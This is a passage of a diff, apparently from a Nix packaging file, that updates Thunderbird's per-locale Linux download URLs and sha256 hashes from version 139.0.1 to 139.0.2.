+      sha256 = "5f9adcc99df0fdd3f5f7456d8ad8a3cb51d05e723922c240ec9f4af83ab58160";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/pt-BR/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/pt-BR/thunderbird-139.0.2.tar.xz";
       locale = "pt-BR";
       arch = "linux-x86_64";
-      sha256 = "4eef716bf8581ca382864efc1ffb8f8a96cf8e6d3ad3014cb9e3bdc988f6e8f2";
+      sha256 = "c8503ec2ab35b46ea7dc9bb75e88899751f9cce7cbefc61035a1e7a0998cb1e6";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/pt-PT/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/pt-PT/thunderbird-139.0.2.tar.xz";
       locale = "pt-PT";
       arch = "linux-x86_64";
-      sha256 = "3004f0317d3c4bd0cb38dbd76832e0f9d180a0e7a880c59093f5f6f00ed083a8";
+      sha256 = "9b94ece80963bd911fc11ac56519139e91aa3147e877cc47c16560e684d92f03";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/rm/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/rm/thunderbird-139.0.2.tar.xz";
       locale = "rm";
       arch = "linux-x86_64";
-      sha256 = "5c5b21c92b833dbbe174d733649bcd8bb58c58cbaaf7d1ce574ad45ff5b2452d";
+      sha256 = "339fb7a75f6d69f25548c05fac908f85a7930bf444505957977d813c8338221a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/ro/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/ro/thunderbird-139.0.2.tar.xz";
       locale = "ro";
       arch = "linux-x86_64";
-      sha256 = "788a562eeedadd9d203ac4f3cfb35bf9910f97fa903748c3f79795101a393fc7";
+      sha256 = "91fd8f9585ea0fa013fc9de142c3ac901baf84ee68135130ac95f5f8971da709";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/ru/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/ru/thunderbird-139.0.2.tar.xz";
       locale = "ru";
       arch = "linux-x86_64";
-      sha256 = "bbd187438ce46448fb2749b122ec5ddec10c5f9c4caac441190a8b995690d412";
+      sha256 = "0f080d4d070fc51976996c9fb12a9041742790a9e5caffd89c79c11045748de1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/sk/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/sk/thunderbird-139.0.2.tar.xz";
       locale = "sk";
       arch = "linux-x86_64";
-      sha256 = "a851f55fb22598ee01f813981712cc5cb13c5a9ca4dd24e038e93507519bde33";
+      sha256 = "271900618cebfaf8cff7c26289e03b3685144b560eff2c5542348f67cd9f24e7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/sl/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/sl/thunderbird-139.0.2.tar.xz";
       locale = "sl";
       arch = "linux-x86_64";
-      sha256 = "5a01038fb3c2f9d412d27a7daf76d07e20106638f8d818c53e0a4e1879964aa0";
+      sha256 = "ce1e33c9c0b5825993300b235eb53bb566c277d1b00d6654f2c36c469031bc33";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/sq/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/sq/thunderbird-139.0.2.tar.xz";
       locale = "sq";
       arch = "linux-x86_64";
-      sha256 = "b30963504f613e8d4bfc3ab437fe89a9717a3272979b09fab62892e27aacf684";
+      sha256 = "b1982a4733bc0cc9666b563bbf3ca6bdffb6af7a54b2522c05a9248fdbd44661";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/sr/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/sr/thunderbird-139.0.2.tar.xz";
       locale = "sr";
       arch = "linux-x86_64";
-      sha256 = "23a56276622b8554b0d6dee30974b7927112551f7c5fa865abd1721832d9a6a3";
+      sha256 = "f4f5ea86865068be75bb9d5af34fed1a53ab22f6a17f6d46ca3ff99de77bab4b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/sv-SE/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/sv-SE/thunderbird-139.0.2.tar.xz";
       locale = "sv-SE";
       arch = "linux-x86_64";
-      sha256 = "952383ddebe9e9f04f2a3e9be865d79dffd660ad3c3a696d2306a2fef1d843f2";
+      sha256 = "18c709cd269b4fc3f5ed34457e86da5491bfdad8437e47861ea751cddab43ce3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/th/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/th/thunderbird-139.0.2.tar.xz";
       locale = "th";
       arch = "linux-x86_64";
-      sha256 = "4481ef7dfe05cb9ebedf2b542d4ae9a649697e633cd2ee2aabb048b0a2940946";
+      sha256 = "b3ee51fb55022fef4451eb6a18c0ec0c560d68e3c071a3976f150f539b7498d2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/tr/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/tr/thunderbird-139.0.2.tar.xz";
       locale = "tr";
       arch = "linux-x86_64";
-      sha256 = "4d8e64531ed430f862db230ee536c249047267bbfbb7bcf5da519cf0c71a7d09";
+      sha256 = "e9039353ef4084148a827889b4e1ddaabe138aa38e3b4312b40b9979ff763649";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/uk/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/uk/thunderbird-139.0.2.tar.xz";
       locale = "uk";
       arch = "linux-x86_64";
-      sha256 = "26406671dcbc9827402ba888ddf5bdd812490cee2f3feea4692b8a7ae082d9c2";
+      sha256 = "32f4a7528ce0bf4a8fbcc584fc9b4e6469cd5a206b14fcc6dc52c3c8dd223a0e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/uz/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/uz/thunderbird-139.0.2.tar.xz";
       locale = "uz";
       arch = "linux-x86_64";
-      sha256 = "a5a4031870f5466624b6ae1a199ffa91d94cb445f5c0aaaabedf162e0d0ab991";
+      sha256 = "4f5a39e05fb4d1fb7a6ab0524f5ecd57a341c5134ecf40a90e2cf1fc8a325a0d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/vi/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/vi/thunderbird-139.0.2.tar.xz";
       locale = "vi";
       arch = "linux-x86_64";
-      sha256 = "e21d0c70bf8b7c6873d9694ded72d71448da2d72c4eb3e44259af2110e6a7dfb";
+      sha256 = "ed23cfe4810df01e7ad6e56fbd1154fa85a06bfb8477f7fd267e063774c9ff38";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/zh-CN/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/zh-CN/thunderbird-139.0.2.tar.xz";
       locale = "zh-CN";
       arch = "linux-x86_64";
-      sha256 = "e7dcd9677cba509ceaebe28495250f92601dcaba554ea08dd8f57a69c3cb9b9f";
+      sha256 = "3235b83d0f06a37de13785dbab4d08224db04d7ea130926806bac2d113208d51";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-x86_64/zh-TW/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-x86_64/zh-TW/thunderbird-139.0.2.tar.xz";
       locale = "zh-TW";
       arch = "linux-x86_64";
-      sha256 = "60e3a1e633187e3f123ffcfc34f54298e1fa58f1909798f3a5d7f91636e76e20";
+      sha256 = "eb7b50e215c8cbf75bc320c92c9248c9378dec2dd638975a9175ad4569b98bee";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/af/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/af/thunderbird-139.0.2.tar.xz";
       locale = "af";
       arch = "linux-i686";
-      sha256 = "1d15d538349db0b36c2eed61d72588a13fec14320d1ab7603470d16637e7e5cd";
+      sha256 = "34e11a2e2d94e9657a8c754370894c5bff35394d812d57f198836d2aca2cdfb7";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/ar/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/ar/thunderbird-139.0.2.tar.xz";
       locale = "ar";
       arch = "linux-i686";
-      sha256 = "ae52f131ea8b59be872780f6909336c726cf347790f3fb08b05514a62060dc9e";
+      sha256 = "b59436ab074c8e032787ff20c54ddc3c6fe7a48dcc6c18b153dcac6233cb0a83";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/ast/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/ast/thunderbird-139.0.2.tar.xz";
       locale = "ast";
       arch = "linux-i686";
-      sha256 = "e3f71fce236d5c6f1a820f9afe94059289a73fc19ff366ba5db94559c8276415";
+      sha256 = "0c2048333df674b1e8944c068ad1dd985696e87bd86671819675d6b7994d9f57";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/be/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/be/thunderbird-139.0.2.tar.xz";
       locale = "be";
       arch = "linux-i686";
-      sha256 = "42723214b091f79dab334315ffb2c6b08da6403f1a54e0a1bcc8facc80577b43";
+      sha256 = "d08eed9fbca8220fa5a4186197ea82090b1fa490c27c1186b7278ddb3b730f9c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/bg/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/bg/thunderbird-139.0.2.tar.xz";
       locale = "bg";
       arch = "linux-i686";
-      sha256 = "7c8acc9c1140ed0e81f60954542666c31c138cc496586321f35e6ec329ec3441";
+      sha256 = "e16524042ba4390587ad0db661c515d0679eeb2c76f8e0b5343e7e1832ce5935";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/br/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/br/thunderbird-139.0.2.tar.xz";
       locale = "br";
       arch = "linux-i686";
-      sha256 = "0b93c04e9359eda1e965205f835f9f99555cd40dee0c06c2aa09307fd3746ab4";
+      sha256 = "28a5e0bcd7f18be8ffadc1cbf211084304db07ca3068b054ef11e694a282de80";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/ca/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/ca/thunderbird-139.0.2.tar.xz";
       locale = "ca";
       arch = "linux-i686";
-      sha256 = "b9b1404b2113ba5ae51eaa7aca2d8f1b3bc1659a7a00ecfae78dbe79ab31b892";
+      sha256 = "ec8690303c76f35278c9240caa004812196f765dab26de27baeaee51cc773c8f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/cak/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/cak/thunderbird-139.0.2.tar.xz";
       locale = "cak";
       arch = "linux-i686";
-      sha256 = "45d5b6f0a9729b6d8b3c8fd81b13f26794fadcd99faadbb6f213399475ffcc0c";
+      sha256 = "4f3454a77c571208bc016e740df81feb659ddc2a112b54d8aff7e6cc62d68b84";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/cs/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/cs/thunderbird-139.0.2.tar.xz";
       locale = "cs";
       arch = "linux-i686";
-      sha256 = "ef220581d2288a88603c1d543031751259ac26bf9cccfd5f26b38e005cb739d4";
+      sha256 = "78dbbfd0e1a38e2bb34c95ca9e2773333364e762f028d744abb8385d445582c1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/cy/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/cy/thunderbird-139.0.2.tar.xz";
       locale = "cy";
       arch = "linux-i686";
-      sha256 = "397e567faf08dfa288ab73d29a79e8b388dec4a1d8f90b6479dd6ecd3bec3a05";
+      sha256 = "1362148e056cc2aa0677f3211624d800eadd8a82bb7e0e8830dbbf18429db0d4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/da/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/da/thunderbird-139.0.2.tar.xz";
       locale = "da";
       arch = "linux-i686";
-      sha256 = "ffdce843d5c4157892fc1f361339922626fc0046b32d85d8fbda6e8b9f960f2f";
+      sha256 = "390a3acc9847a6577305b761590774a3380bab0eebe0b485d8276c8a66e02e75";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/de/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/de/thunderbird-139.0.2.tar.xz";
       locale = "de";
       arch = "linux-i686";
-      sha256 = "d4b6f8b0c59df2b08bd076226c4b8a560f7e7bec9a686287a95375e48673bbdf";
+      sha256 = "9a27987742b0ae03da6ce9862859d1d6f03d282eca853753e784964047dbd919";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/dsb/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/dsb/thunderbird-139.0.2.tar.xz";
       locale = "dsb";
       arch = "linux-i686";
-      sha256 = "7c258641dc9b1cf94fbb22e001d71dc8b8a1aa6a51f171fecffa5e2b8fba1974";
+      sha256 = "fa4559b51e0c8e6b0ac9814cc512242ec66761998cddcd3080de3c72233183c1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/el/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/el/thunderbird-139.0.2.tar.xz";
       locale = "el";
       arch = "linux-i686";
-      sha256 = "c8408efa15dccdcc631d9d0e70328277b89d91395c03e0107db6e100932b8365";
+      sha256 = "f4da4d59391a4cc1752aa5bf8b1dc407b67772a754502ef82e4b8fc7cf10d41f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/en-CA/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/en-CA/thunderbird-139.0.2.tar.xz";
       locale = "en-CA";
       arch = "linux-i686";
-      sha256 = "687f11e03112259e0bfef9c377438fdceef611833c6a8c4fcd5d250ceeeed7a1";
+      sha256 = "b576214306853bebee0b65fb5c76e2f616be56e3b9cb0943fcbadfdfdc7883a9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/en-GB/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/en-GB/thunderbird-139.0.2.tar.xz";
       locale = "en-GB";
       arch = "linux-i686";
-      sha256 = "e18ff3ad8b0cdace5a35943e8fcc8f1131b04b8507968141c939fc54a96dbfb1";
+      sha256 = "88c97b1642fe6ea9628388943be43d9d119133f85e19f64bb62981a9abb786c4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/en-US/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/en-US/thunderbird-139.0.2.tar.xz";
       locale = "en-US";
       arch = "linux-i686";
-      sha256 = "7be84f87ba47c787306e25b784faf1c867116df6d24ccecd88178761ab63e205";
+      sha256 = "ea3f53da34b54b4597214f3192badaf823e5ff925e64e2b673ed8705419df05d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/es-AR/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/es-AR/thunderbird-139.0.2.tar.xz";
       locale = "es-AR";
       arch = "linux-i686";
-      sha256 = "e83daaf389dd8a88bc6bbe0b6939306b76a8859b20a8d239e53660e2f0ce23d6";
+      sha256 = "f81d7ec8abb4fe7a725ccbe327da201cd9ea816252f140d06fb11a8fa4714abb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/es-ES/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/es-ES/thunderbird-139.0.2.tar.xz";
       locale = "es-ES";
       arch = "linux-i686";
-      sha256 = "c6738cda3b5ad0621d00b08e40003814cfb314bf18dcab9e65c5c328ddb45c49";
+      sha256 = "dc5a3770044a0c3f845ade493ffa687a93cfe862bc5b0216baf5728c332ff675";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/es-MX/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/es-MX/thunderbird-139.0.2.tar.xz";
       locale = "es-MX";
       arch = "linux-i686";
-      sha256 = "5ad3b6ea069de42e012de197fd5b71b85a64b9654352643932fe807fae20678b";
+      sha256 = "38cec780ab13337890478ae1636a48e7288b1d8c504f148e0dda0ab62281327d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/et/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/et/thunderbird-139.0.2.tar.xz";
       locale = "et";
       arch = "linux-i686";
-      sha256 = "d8e6d717094b9fe472e41fcd0c3580bd238bcf4aaa9ecbcd2c75523cd9e4486c";
+      sha256 = "669a2a9f5bd3b2458538e586dcefeca44a4cfc599b594fad169f80e773eb044d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/eu/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/eu/thunderbird-139.0.2.tar.xz";
       locale = "eu";
       arch = "linux-i686";
-      sha256 = "6514de42116b9c08a55c354b48fb8021c3b6e938c3cec7fa8ff841b0ec80746e";
+      sha256 = "312a9efed65dafe8de66a5945b0cf8cb166d11ccc69c29e7e23452e2e0d5cbbc";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/fi/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/fi/thunderbird-139.0.2.tar.xz";
       locale = "fi";
       arch = "linux-i686";
-      sha256 = "8833b2ef6795169c64c3e79710da763f0557aa238ba96b48c243897392c5448b";
+      sha256 = "039340a1d2827f487d8dab42a96612c778d97e580f76d4def7e99c2a9778c988";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/fr/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/fr/thunderbird-139.0.2.tar.xz";
       locale = "fr";
       arch = "linux-i686";
-      sha256 = "7c43c2b468126e6896c81865231b58252eff161f05233f8bd138eae1c8b50202";
+      sha256 = "7779c1fb1de816f21f7e57005daa33c518dd70d2959eef371fa4c515c83b2ca5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/fy-NL/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/fy-NL/thunderbird-139.0.2.tar.xz";
       locale = "fy-NL";
       arch = "linux-i686";
-      sha256 = "d7d2d40d3ef80e73bb0f8b1f46db1047956141eb97890bbf62da93f15eda0fa5";
+      sha256 = "14e1ed8f73ffa9d13ac1435f9bbd4d063043a903b1dc20373cc7f1fe7bc45429";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/ga-IE/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/ga-IE/thunderbird-139.0.2.tar.xz";
       locale = "ga-IE";
       arch = "linux-i686";
-      sha256 = "18bffb4c40006542d7c424f4982aeb66b7a62d8fb79a0843233259845d403ded";
+      sha256 = "bdd42c055f8b513f3e48918a41f57b2924f0954afea225f87198713652330af9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/gd/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/gd/thunderbird-139.0.2.tar.xz";
       locale = "gd";
       arch = "linux-i686";
-      sha256 = "ba3b1257e17a34f439d547e17dc92bce4bfcff011bc30645e5263adbcb832dfa";
+      sha256 = "0b88ef782d44d2c19ed5b0237cd8188559a34234f3583e6946ceafe9a8446cf9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/gl/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/gl/thunderbird-139.0.2.tar.xz";
       locale = "gl";
       arch = "linux-i686";
-      sha256 = "e48ba55f3de376de84367144e229e700c7742a35c0d99d7cf51f9dae2ea101f9";
+      sha256 = "445fb6df2197ee8c74da712ba8b28334c1d27e85bcda9f6b31b7575def7668dc";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/he/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/he/thunderbird-139.0.2.tar.xz";
       locale = "he";
       arch = "linux-i686";
-      sha256 = "29d005b87b06c23e83a2a3140d426b61afe0d780e6cdf01218f27009eb9a2cb3";
+      sha256 = "811e91e0e2afef963216a1d26e07cda9a0bac11fd8b9fe2f9ad4663462fc077f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/hr/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/hr/thunderbird-139.0.2.tar.xz";
       locale = "hr";
       arch = "linux-i686";
-      sha256 = "f8356de708cbfb31694994d8a5577b15d1da949e2c6519db43de1df68ad939f7";
+      sha256 = "0bac2285f4af03d706bbe6493664e6e2984569c586c3b903e121775870c4b01e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/hsb/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/hsb/thunderbird-139.0.2.tar.xz";
       locale = "hsb";
       arch = "linux-i686";
-      sha256 = "95fde141c0f7eb7831dca8b0e293e112fedb36abc0e618e087a734afa871b042";
+      sha256 = "84fc58865bc74698ac752ea727bc1f0a5a2a3588aceead0f23e93cf4eb23f889";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/hu/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/hu/thunderbird-139.0.2.tar.xz";
       locale = "hu";
       arch = "linux-i686";
-      sha256 = "f15f8d007557902fe5cd94c619dd9a5ed5e035a7662045b52365c8e668098202";
+      sha256 = "63d3ab7a51ec864d8eadc6deec795df7749125daef11c6ea005458eafa7cff2d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/hy-AM/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/hy-AM/thunderbird-139.0.2.tar.xz";
       locale = "hy-AM";
       arch = "linux-i686";
-      sha256 = "3820c40298cc4ffeed3e490b21670831491e8c66233c931ada2b5960a8a79e18";
+      sha256 = "b471fee3eb6a3b99ac4f725becb3f601d19bec8846a58e7fe6a2ca3c56f04753";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/id/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/id/thunderbird-139.0.2.tar.xz";
       locale = "id";
       arch = "linux-i686";
-      sha256 = "542d56aa3f2ab044e785751961863cd8e9519d20b87b925c58f9a8b9bd00c9bc";
+      sha256 = "a63d0ed8cc126418cd091bc83dbda70fde8386851a210df80de082ce7d5f7ec4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/is/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/is/thunderbird-139.0.2.tar.xz";
       locale = "is";
       arch = "linux-i686";
-      sha256 = "5dff94a55e9b9723260bed5fcba6b555db801d78bf4ecfc41f4e27026d8f27ab";
+      sha256 = "46ea1c252119a08f67a617f03cd41ddcac1527dc8580046f6d7ab0b20a21f160";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/it/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/it/thunderbird-139.0.2.tar.xz";
       locale = "it";
       arch = "linux-i686";
-      sha256 = "ae0507e5e7434d7356fc9032b7ae80616f06d418d6d40e14600f9209589def2c";
+      sha256 = "5bab030946df404f59cfaed24f4da0093cd80412b0b2481811d14ee526040420";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/ja/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/ja/thunderbird-139.0.2.tar.xz";
       locale = "ja";
       arch = "linux-i686";
-      sha256 = "f3f192c5d6c4e1e9413176558a0c0c0c7b4c0113fdf70a20914d31168be38fef";
+      sha256 = "544d91494571e8d087e5ca4f8f91e2ab0174732abb1d279afa993a0b59d74a08";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/ka/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/ka/thunderbird-139.0.2.tar.xz";
       locale = "ka";
       arch = "linux-i686";
-      sha256 = "ff2232dd9bf76a8c5441ffd236119f295c256e7be00e6d2749a48ecb76972de0";
+      sha256 = "119ec25a042e86c10e6177c010ba4d997fe1e9ea318648ae0997d2ef1bb7f0c5";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/kab/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/kab/thunderbird-139.0.2.tar.xz";
       locale = "kab";
       arch = "linux-i686";
-      sha256 = "c4012accbb46cd8df5ed4c844260aa2c10d7eb2ce54b7d941b764f2e6375e192";
+      sha256 = "7026bb2dafa0515fb627fd83f421f886ee7cd7d83f1b2f844d5c82fc1563811a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/kk/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/kk/thunderbird-139.0.2.tar.xz";
       locale = "kk";
       arch = "linux-i686";
-      sha256 = "161903075b38e3b0325d3498ff90a6aea5b9d30c75e0d2ce17609cf2277146e6";
+      sha256 = "fc45f5780091bec2d0b6af5e36d1afe6ae0e260caf376920396cf84539698769";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.1/linux-i686/ko/thunderbird-139.0.1.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/139.0.2/linux-i686/ko/thunderbird-139.0.2.tar.xz";
